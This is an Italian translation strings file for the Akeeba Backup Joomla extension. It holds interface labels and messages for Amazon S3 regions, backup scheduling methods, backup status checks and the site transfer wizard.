COM_AKEEBABACKUP_S3_REGION_MESOUTH1="Medio Oriente, Sud (Bahrain)"
COM_AKEEBABACKUP_S3_REGION_SAEAST1="America del Sud, Est (São Paulo)"
COM_AKEEBABACKUP_S3_REGION_USEAST1="US Est (N. Virginia)"
COM_AKEEBABACKUP_S3_REGION_USEAST2="US Est (Ohio)"
COM_AKEEBABACKUP_S3_REGION_USWEST1="US Ovest (N. California)"
COM_AKEEBABACKUP_S3_REGION_USWEST2="US Ovest (Oregon)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST1="AWS GovCloud (US-Est)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST2="AWS GovCloud (US-Ovest)"
COM_AKEEBABACKUP_S3_RRS_DEEP_ARCHIVE="Archivio Profondo"
COM_AKEEBABACKUP_S3_RRS_GLACIER="Glacier"
COM_AKEEBABACKUP_S3_RRS_INTELLIGENT_TIERING="Intelligent Tiering"
COM_AKEEBABACKUP_S3_RRS_ONEZONE_IA="Zona Singola - Accesso Infrequente"
COM_AKEEBABACKUP_S3_RRS_RRS="Archiviazione a Ridondanza Ridotta"
COM_AKEEBABACKUP_S3_RRS_STANDARD="Archiviazione Standard"
COM_AKEEBABACKUP_S3_RRS_STANDARD_IA="Standard - Accesso Infrequente"
COM_AKEEBABACKUP_S3_SIGNATURE_DESCRIPTION="Specifica il metodo di firma della richiesta. Usa v4 in caso di dubbi. Potrebbe essere necessario usare v2 con servizi di archiviazione di terze parti (cioè quando si specifica un endpoint personalizzato)."
COM_AKEEBABACKUP_S3_SIGNATURE_TITLE="Metodo di firma"
COM_AKEEBABACKUP_S3_SIGNATURE_V2="v2 (modalità legacy, provider di archiviazione di terze parti)"
COM_AKEEBABACKUP_S3_SIGNATURE_V4="v4 (preferito per Amazon S3)"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_TITLE="Regione Amazon S3 personalizzata"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_DESCRIPTION="Imposta l'opzione sopra su "Personalizzata / Nessuna" e inserisci qui il nome della regione che desideri utilizzare, ad es. <code>us-east-1</code> per US Est (N. Virginia).<br/>Questo è destinato a essere utilizzato con le nuove regioni S3 non ancora elencate sopra o con servizi compatibili con S3 di terze parti che utilizzano le API S3 v4 e nomi di regione personalizzati specifici del servizio."

COM_AKEEBABACKUP_SCHEDULE="Pianifica Backup Automatici"

COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER="Attività Pianificate di Joomla"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_INFO="Puoi creare attività di backup utilizzando la funzione Attività Pianificate di Joomla. Prima di iniziare, leggi la documentazione per comprendere i compromessi e i potenziali problemi a seconda del metodo scelto per attivare le Attività Pianificate di Joomla."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_BUTTON="Gestisci le tue Attività Pianificate"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_HEAD="Le Attività Pianificate sono disponibili solo su Joomla 4.1 e versioni successive"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_BODY="Joomla ha introdotto la funzione Attività Pianificate nella versione 4.1.0 di Joomla!. Aggiorna il tuo sito all'ultima versione di Joomla per accedere alle Attività Pianificate."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_HEAD="Il plugin "Task – Akeeba Backup" è disabilitato."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BODY="Il plugin "Task – Akeeba Backup" deve essere abilitato affinché le Attività Pianificate di Joomla sappiano come eseguire i backup con Akeeba Backup. Vai in Sistema, Gestione, Plugin e abilita il plugin. In alternativa, clicca il pulsante seguente per modificare il plugin direttamente."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BUTTON="Modifica il plugin"

COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON="Cron job alternativi da riga di comando"
COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON_INFO="Questo metodo è consigliato solo se il Cron job da riga di comando normale non viene completato. Anche se viene eseguito tramite l'applicazione console di Joomla, utilizzerà l'applicazione web di Joomla — usando il metodo di backup front-end di Akeeba Backup — il che lo rende più lento rispetto al metodo CLI nativo."
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECKHEADERINFO="<p>Quando un backup pianificato fallisce, di solito significa che PHP ha smesso di funzionare prima che il backup fosse completato. Pertanto Akeeba Backup non può notificarti del fallimento del backup nello stesso modo in cui ti notifica il completamento del backup con successo o con avvisi.</p><p>Per risolvere questo problema puoi pianificare i controlli dell'ultimo backup in modo che vengano eseguiti dopo la fine prevista del tuo backup. Non sai quando sarà? Idealmente, dovrebbe essere la durata dell'ultimo backup riuscito registrato nella pagina Gestione Backup più mezz'ora.</p><p>Puoi pianificare questo controllo con molti metodi diversi, proprio come il backup stesso. Di seguito troverai ulteriori informazioni su ogni metodo di pianificazione disponibile per i controlli del backup. Se non sei sicuro di quale usare, ti consigliamo di usare lo stesso metodo di pianificazione dei tuoi backup.</p>"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_BACKUPS="Controlla Stato Backup"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON="Cron job da riga di comando (consigliato)"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON_INFO="Questo è il metodo consigliato per tutti i server che supportano i Cron job da riga di comando. Questo metodo utilizza l'applicazione console (CLI) di Joomla — anziché l'applicazione web di Joomla! — ottenendo la massima velocità di backup."
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO="Importante"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO="Ricorda di sostituire <em>%s</em> con il percorso reale dell'eseguibile PHP <strong>CLI (Command Line Interface)</strong> del tuo host. Ricorda che devi usare l'eseguibile PHP CLI; l'eseguibile PHP CGI (Common Gateway Interface) <em>non</em> funzionerà con l'applicazione CLI di Joomla. Se non sei sicuro di cosa significhi, consulta il tuo host. Sono le uniche persone che possono fornire queste informazioni."
COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO="Akeeba Backup ha rilevato che il percorso <em>più probabile</em> a PHP CLI è <code>%s</code> e lo ha utilizzato nella riga di comando visualizzata sopra. Se questo non funziona, sostituisci <code>%1$s</code> con il percorso reale dell'eseguibile PHP <strong>CLI (Command Line Interface)</strong> del tuo host. Questa è un'informazione che il tuo host sarà in grado di fornire."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP="Funzione Backup Front-end"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_INFO="Questo metodo utilizza un URL pubblico e una chiave segreta per avviare un backup del tuo sito. Il backup procede tramite reindirizzamenti HTTP. Nota che la maggior parte dei Cron job basati su URL degli host, così come la maggior parte dei servizi Cron basati su URL di terze parti, non supportano i reindirizzamenti HTTP. Se gli esempi con wget e curl qui sotto non funzionano, usa l'URL di backup front-end con il servizio di terze parti webcron.org, molto economico."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_MANYMETHODS="La funzione di backup front-end può essere utilizzata con una grande varietà di metodi. Fai clic sulle schede qui sotto per vedere la descrizione di ciascun metodo. Ricorda che tutti sono spiegati in dettaglio nella nostra documentazione."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_CURL="cURL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_SCRIPT="Script PHP"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_URL="URL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WEBCRON="WebCron.org"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WGET="WGet"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDCHECK="Funzione Controllo Backup Front-end"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CURL="Pianificazione CRON con curl (macOS, Linux, alcuni host):"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CUSTOMSCRIPT="Script PHP personalizzato per eseguire il backup front-end:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_DISABLED="La funzione di backup front-end di Akeeba Backup non è abilitata. Non puoi usare questo metodo di pianificazione a meno che non la abiliti. Vai al Pannello di controllo di Akeeba Backup, fai clic sul pulsante Opzioni nella barra degli strumenti e abilita la funzione di backup front-end. Non dimenticare di specificare anche una parola segreta a tua scelta."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_RAWURL="URL da usare con i tuoi script e servizi di terze parti:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET="La chiave segreta della funzione di backup front-end è vuota. Non puoi usare questo metodo di pianificazione a meno che non crei una chiave segreta. Vai al Pannello di controllo di Akeeba Backup, fai clic sul pulsante Opzioni nella barra degli strumenti e inserisci una chiave segreta a tua scelta."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON="Configurazione di un'attività di backup con WebCron.org:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS="Avvisi"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS_INFO="Se hai già impostato metodi di avviso nell'interfaccia di webcron.org, ti consigliamo di scegliere un metodo di avviso qui e di non selezionare 'Solo in caso di errore' in modo da ricevere sempre una notifica quando viene eseguito il Cron job di backup."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME="Tempo di esecuzione"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME_INFO="Questa è la griglia sotto le altre opzioni. Seleziona quando e con quale frequenza vuoi che venga eseguito il tuo Cron job."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_INFO="Accedi a webcron.org. Nell'area CRON, fai clic sul pulsante Nuovo Cron. Di seguito troverai cosa inserire nell'interfaccia di webcron.org."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGIN="Accesso"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO="Lascia questo campo vuoto"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME="Nome del cronjob"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME_INFO="Qualsiasi cosa tu voglia, ad es. <em>Backup del mio sito</em>"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_PASSWORD="Password"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_THENCLICKSUBMIT="Infine, fai clic sul pulsante Invia per completare la configurazione del tuo Cron job."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT="Timeout"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT_INFO="180 sec; se il backup non viene completato, aumentalo. La maggior parte dei siti funzionerà con un'impostazione di 180 o 600 qui. Se hai un sito molto grande che richiede più di 5 minuti per eseguire il backup, potresti considerare di usare Akeeba Backup Professional e il Cron job CLI nativo, poiché è molto più conveniente."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_URL="URL da eseguire"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WGET="Pianificazione CRON con wget (la maggior parte degli host, la maggior parte delle distribuzioni Linux):"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICREADDOC="Leggi la documentazione"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI="Usa il seguente comando nell'interfaccia CRON del tuo host:"
COM_AKEEBABACKUP_SCHEDULE_LBL_HEADERINFO="Akeeba Backup offre diversi metodi di pianificazione. Di seguito troverai ulteriori informazioni su ogni metodo di pianificazione. Ti invitiamo a leggere la documentazione di ogni metodo di pianificazione. Risponderà a molte delle tue domande e ti aiuterà a pianificare i tuoi backup più facilmente."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP="Funzione Backup Remoto (API JSON)"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP_INFO="Puoi usare questo metodo per eseguire backup del tuo sito da remoto usando il nostro software che supporta tale funzione (ad es. Akeeba Remote CLI e Akeeba UNiTE)."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISABLED="Vai a Akeeba Backup, fai clic su Opzioni, poi sulla scheda Frontend. Imposta "Abilita API JSON (backup remoto)" su Sì per abilitare questa funzione."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI="Akeeba Remote CLI"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_INTRO="Puoi usare l'applicazione da riga di comando Akeeba Remote CLI per eseguire backup dei tuoi siti da remoto. Puoi pianificare questi comandi sul tuo computer o su un altro server per automatizzare i tuoi backup."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_DOCKER="Per eseguire un backup usando Akeeba Remote CLI tramite <strong>Docker</strong>, esegui il seguente comando:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_PHAR="Per eseguire un backup usando Akeeba Remote CLI con l'<strong>archivio PHAR</strong> scaricabile dal nostro sito, esegui il seguente comando:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_OTHER="Altri strumenti"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_INTRO="Se stai usando Akeeba UNiTE, o altro software che utilizza l'API JSON remota, dovrai fornire le seguenti informazioni."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ENDPOINT="URL Endpoint"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_SECRET="Chiave segreta"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISCLAIMER="Akeeba Ltd non approva, non si assume responsabilità né fornisce supporto per software o servizi di terze parti che si interfacciano con Akeeba Backup tramite le API JSON. Forniremo supporto per l'esecuzione di backup con le API JSON di Akeeba solo se la Chiave segreta viene generata automaticamente dal nostro software e la richiesta riguarda l'utilizzo del nostro client software per le API JSON di Akeeba (es. Akeeba Remote CLI)."
COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED="Vai su Akeeba Backup, fai clic su Opzioni, quindi sulla scheda Frontend. Imposta "Abilita l'API di backup frontend legacy (cron job remoti)" su Sì per abilitare questa funzione."
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI="Abilita l'API di backup frontend legacy"
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_JSONAPI="Abilita le API JSON di Akeeba"
COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD="Reimposta la Chiave segreta"
COM_AKEEBABACKUP_SCHEDULE_LBL_RUN_BACKUPS="Esegui backup"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADENOW="Aggiorna ora"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADETOPRO="Questa funzione è disponibile solo in Akeeba Backup Professional"
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_HEAD="Il plugin <em>Console – Akeeba Backup</em> è disabilitato."
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_BODY="Vai su Sistema, Gestisci, Plugin e abilita il plugin "Console – Akeeba Backup". È necessario per il funzionamento di questa funzione."

COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS="Controlla i caricamenti dei backup"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS_HEADERINFO="<p>Quando un backup non riesce a caricare l'archivio nella memoria remota configurata, in genere non viene considerato un errore di backup (a meno che non sia stato selezionato esplicitamente di trattarlo come tale). Questo perché l'archivio di backup esiste ancora sul server. Tuttavia, è necessario tornare al sito e riprovare il caricamento dalla pagina Gestione backup, eventualmente risolvendo anche eventuali problemi di connessione con la memoria remota.</p><p>Il problema tipico è che potresti non sapere che il caricamento è fallito. È qui che entra in gioco il controllo dei caricamenti dei backup. Pianificalo per l'esecuzione dopo che i backup pianificati sarebbero normalmente terminati, e ti invierà un'e-mail se uno dei backup eseguiti dall'ultima volta che è stato eseguito il controllo non è riuscito a caricarsi nella memoria remota configurata.</p><p>Puoi pianificare questo controllo con molti metodi diversi, proprio come il backup stesso. Di seguito troverai ulteriori informazioni su ciascun metodo di pianificazione disponibile per i controlli del caricamento dei backup. Se non sei sicuro di quale utilizzare, ti consigliamo di utilizzare lo stesso metodo di pianificazione dei tuoi backup.</p>"


COM_AKEEBABACKUP_TITLE_ALICES="Risoluzione dei problemi - ALICE"

COM_AKEEBABACKUP_TRANSFER="Procedura guidata di trasferimento del sito"
COM_AKEEBABACKUP_TRANSFER_BTN_FTP_PROCEED="Procedi con il ripristino"
COM_AKEEBABACKUP_TRANSFER_BTN_OPEN_KICKSTART="Esegui Kickstart"
COM_AKEEBABACKUP_TRANSFER_BTN_RESET="Reimposta"
COM_AKEEBABACKUP_TRANSFER_DESC="Trasferisce l'archivio eseguendo il motore di post-elaborazione \"%s\" sull'archivio."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTACCESSTESTFILE="Akeeba Backup non può verificare che le informazioni di connessione inserite corrispondano all'URL del sito inserito. Se stai cercando di eseguire il ripristino in una sottodirectory di un sito esistente, significa che il sito principale sta bloccando l'accesso alla sottodirectory; contatta l'amministratore del sito. In tutti gli altri casi hai inserito informazioni di connessione errate, molto probabilmente una directory sbagliata. Contatta il tuo hosting e chiedi le informazioni di connessione corrette, <em>inclusa la directory</em>, che corrisponde all'URL inserito in questa procedura guidata. Poi torna qui, inserisci le informazioni corrette e continua con il ripristino."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTREADLOCALFILE="Akeeba Backup non può leggere il file di backup locale <code>%s</code>. La procedura guidata è fallita. Esegui un nuovo backup e riprova. Nota che alcuni file sono stati lasciati sul tuo nuovo server; potresti volerli rimuovere manualmente."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTRUNKICKSTART="Akeeba Backup non può eseguire Akeeba Kickstart sul tuo nuovo sito. Se stai cercando di eseguire il ripristino in una sottodirectory di un sito esistente, significa che il sito principale sta bloccando l'accesso alla sottodirectory; contatta l'amministratore del sito. In tutti gli altri casi devi contattare il tuo hosting e verificare che la versione predefinita di PHP soddisfi i requisiti minimi di Kickstart."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE="Akeeba Backup non può caricare il file di backup <code>%s</code>. È possibile che il server del tuo nuovo sito abbia esaurito lo spazio su disco o che una protezione del server stia bloccando la trasmissione dei dati. Prova a trasferire il sito selezionando l'opzione di trasferimento manuale. Nota che alcuni file sono stati lasciati sul tuo nuovo server; potresti volerli rimuovere manualmente."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADKICKSTART="Akeeba Backup non può caricare Akeeba Kickstart nella root del tuo nuovo sito. Verifica di aver inserito le informazioni di connessione corrette e che l'utente FTP/SFTP possa scrivere file nella directory selezionata. Se hai già kickstart.php e kickstart.transfer.php sul sito remoto, rimuovili prima di riprovare il trasferimento del sito."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTEMP="Akeeba Backup non può caricare un blocco dell'archivio di backup dal file locale <code>%s</code> al file remoto <code>%s</code>. Verifica che il server remoto consenta il caricamento di file e che ci sia spazio su disco sufficiente per i file dell'archivio di backup."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTESTFILE="Akeeba Backup non può caricare un file di test chiamato <code>%s</code> nella root del tuo nuovo sito. Verifica di aver inserito le informazioni di connessione corrette e che l'utente FTP/SFTP possa scrivere file nella directory selezionata."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTWRITEREMOTEFILES="Purtroppo, Akeeba Backup ha determinato che non può scrivere direttamente i file sul server remoto. La procedura guidata non può procedere. Dovrai utilizzare il metodo di trasferimento "Manualmente"."
COM_AKEEBABACKUP_TRANSFER_ERR_CANTCREATETEMPCHUNK="Impossibile creare un file temporaneo su questo server. Verifica che la directory temporanea sia configurata correttamente e sia scrivibile dall'utente con cui è in esecuzione il server web."
COM_AKEEBABACKUP_TRANSFER_ERR_COMPLETEBACKUP="Nessun backup trovato. Fai clic sul pulsante Esegui backup ora per eseguire subito un nuovo backup."
COM_AKEEBABACKUP_TRANSFER_ERR_DNS="Il nome di dominio dell'URL inserito (%s) non può essere risolto dal server su cui è in esecuzione Akeeba Backup. Se hai registrato o trasferito di recente il nome di dominio, attendi che i server DNS vengano aggiornati (in genere da 6 a 48 ore). Altrimenti controlla le impostazioni DNS del tuo nome di dominio."
COM_AKEEBABACKUP_TRANSFER_ERR_ERRORFROMREMOTE="Akeeba Backup ha ricevuto un errore dal server remoto durante il tentativo di caricare l'archivio di backup. L'errore era: %s"
COM_AKEEBABACKUP_TRANSFER_ERR_EXISTINGSITE="Un altro sito esiste già in quella posizione. Rimuovi il sito esistente prima di trasferirne uno nuovo. Tentare di sovrascrivere un sito esistente molto probabilmente risulterà in un sito non funzionante che non potrai riparare."
COM_AKEEBABACKUP_TRANSFER_ERR_HTACCESS="Un file <code>%s</code> è stato trovato nella root del tuo nuovo sito. Questo file può interferire con il processo di trasferimento del sito. Rimuovilo prima di procedere con il trasferimento del sito. Nota che il file potrebbe essere <em>nascosto</em>. Se non vedi questo file nel gestore di file del pannello di controllo dell'hosting o nel client FTP, chiedi al tuo hosting ulteriori informazioni su come rimuoverlo."
COM_AKEEBABACKUP_TRANSFER_ERR_INVALIDID="Errore interno: l'ID del backup da caricare non è valido o mancante."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN="Controlla"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN_IGNOREERROR="Voglio ignorare questo avviso e procedere <strong>a mio rischio</strong>"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_INVALID="L'URL inserito non è valido."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_NOTEXISTS="Il tuo server non riesce ad accedere all'URL inserito. Verifica di averlo digitato correttamente. Nota anche che i nomi di dominio nuovi o trasferiti di recente potrebbero richiedere <strong>fino a 48 ore</strong> prima di essere visibili a ogni server e computer connesso a Internet."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_SAME="L'URL inserito è lo stesso da cui stai effettuando il ripristino. Questo non è supportato da questa procedura guidata. Per il ripristino del backup senza utilizzare la procedura guidata, consulta il nostro video tutorial seguendo il link sottostante."
COM_AKEEBABACKUP_TRANSFER_ERR_NOTENOUGHSPACE="Il trasferimento del sito non può procedere. Hai bisogno di circa %s di spazio libero ma il tuo server riporta che al momento sono disponibili solo %s. Libera più spazio sul tuo server."
COM_AKEEBABACKUP_TRANSFER_ERR_OVERRIDE="Ignora gli errori rilevati e trasferisci comunque il sito"
COM_AKEEBABACKUP_TRANSFER_ERR_SAMESITE="Hai inserito le informazioni di connessione al sito da cui stai trasferendo. <strong>Il tuo errore avrebbe eliminato il tuo stesso sito</strong>. Devi inserire le informazioni di connessione FTP/SFTP al sito verso cui stai trasferendo <strong>(nuovo sito o nuovo server)</strong>. Correggi le informazioni sopra e riprova."
COM_AKEEBABACKUP_TRANSFER_ERR_SPACE="Hai solo <span></span> di spazio libero. Hai bisogno di più spazio libero per trasferire il tuo sito. Contatta il tuo hosting."
COM_AKEEBABACKUP_TRANSFER_ERR_WRONGSSL="Il tuo sito ha un certificato SSL non valido o autofirmato. Per motivi di sicurezza il trasferimento del sito non può procedere. Fai clic su Reimposta per riavviare il trasferimento del sito e utilizza un URL senza <code>https://</code>. Questo è necessario quando stai cercando di trasferire il sito prima di trasferire il nome di dominio al nuovo hosting. In alternativa, contatta il tuo hosting per ottenere un certificato SSL valido. Andrà bene anche uno gratuito rilasciato dall'autorità di certificazione gratuita Let's Encrypt."
COM_AKEEBABACKUP_TRANSFER_FORCE_BODY="Stai eseguendo la Procedura guidata di trasferimento del sito in modalità Forzata. Ciò significa che alcuni controlli di validità che normalmente vengono eseguiti prima del trasferimento del sito non verranno eseguiti. Di conseguenza, il trasferimento potrebbe sovrascrivere un sito esistente, finire in un URL diverso da quello atteso o semplicemente fallire. <strong>Questa è una funzione per utenti esperti. Si prega di non continuare se non ci si sente a proprio agio con essa.</strong>"
COM_AKEEBABACKUP_TRANSFER_FORCE_HEADER="Modalità Forzata attivata"
COM_AKEEBABACKUP_TRANSFER_HEAD_MANUALTRANSFER="Trasferimento manuale"
COM_AKEEBABACKUP_TRANSFER_HEAD_PREREQUISITES="Prerequisiti"
COM_AKEEBABACKUP_TRANSFER_HEAD_REMOTECONNECTION="Connessione al nuovo sito"
COM_AKEEBABACKUP_TRANSFER_HEAD_UPLOAD="Caricamento e ripristino"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE="Dimensione del blocco"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE_INFO="I file dell'archivio di backup vengono trasferiti in piccoli blocchi al server remoto. Questo determina la dimensione di questi blocchi. Dimensioni troppo piccole possono causare il blocco da parte del server remoto, scambiandoti per un utente abusivo, causando la visualizzazione di un errore di caricamento. Dimensioni troppo grandi possono causare un errore di timeout sul server di origine o su quello remoto, causando la visualizzazione di un errore AJAX. In genere, valori compresi tra 5M e 20M funzionano meglio."
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP="Un backup completo dell'intero sito"
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP_INFO="Backup trovato; eseguito il %s"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_DIRECTORY="Directory FTP/SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_HOST="Nome host"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSIVE="Modalità passiva"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSWORD="Password"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PORT="Porta"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PRIVATEKEY="File chiave privata SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PUBKEY="File chiave pubblica SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_USERNAME="Nome utente"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_INFO="Segui le istruzioni nel video per trasferire il tuo sito manualmente. Le informazioni sull'archivio di backup si trovano sotto il link al video (scorri verso il basso)."
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_LINK="Guarda il video tutorial"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_MULTIPART="Devi trasferire <strong>tutti</strong> i %u file:"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL="L'URL del tuo nuovo sito"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL_TIP="Inserisci l'URL del sito verso cui stai eseguendo il ripristino"
COM_AKEEBABACKUP_TRANSFER_LBL_OPEN_KICKSTART_INFO="Kickstart ti permetterà di estrarre l'archivio di backup e avviare il ripristino sul server remoto."
COM_AKEEBABACKUP_TRANSFER_LBL_SPACE="Circa %s di spazio libero sul tuo nuovo sito"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD="Metodo di trasferimento file"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTP="FTP, funzioni PHP native"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPCURL="FTP, tramite cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPS="FTPS, funzioni PHP native"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPSCURL="FTPS, tramite cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_MANUALLY="Manualmente"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTP="SFTP, estensione SSH2 PHP nativa"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTPCURL="SFTP, tramite cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE="Modalità di trasferimento dell'archivio"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_CHUNKED="Tramite FTP / SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_INFO="I file dell'archivio di backup vengono trasferiti in piccoli blocchi al server remoto e poi assemblati in file interi lì. Questa opzione controlla come vengono trasferiti questi piccoli blocchi."
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_POST="Tramite HTTP / HTTPS"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_BACKUP="Caricamento dell'archivio di backup"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_KICKSTART="Caricamento di Kickstart"
COM_AKEEBABACKUP_TRANSFER_LBL_VALIDATING="Convalida in corso…"
COM_AKEEBABACKUP_TRANSFER_MSG_DONE="Il caricamento è completo!"
COM_AKEEBABACKUP_TRANSFER_MSG_FAILED="Il caricamento dell'archivio di backup è fallito."
COM_AKEEBABACKUP_TRANSFER_MSG_START="Preparazione del caricamento dell'archivio. Questa operazione richiederà del tempo. Attendere."
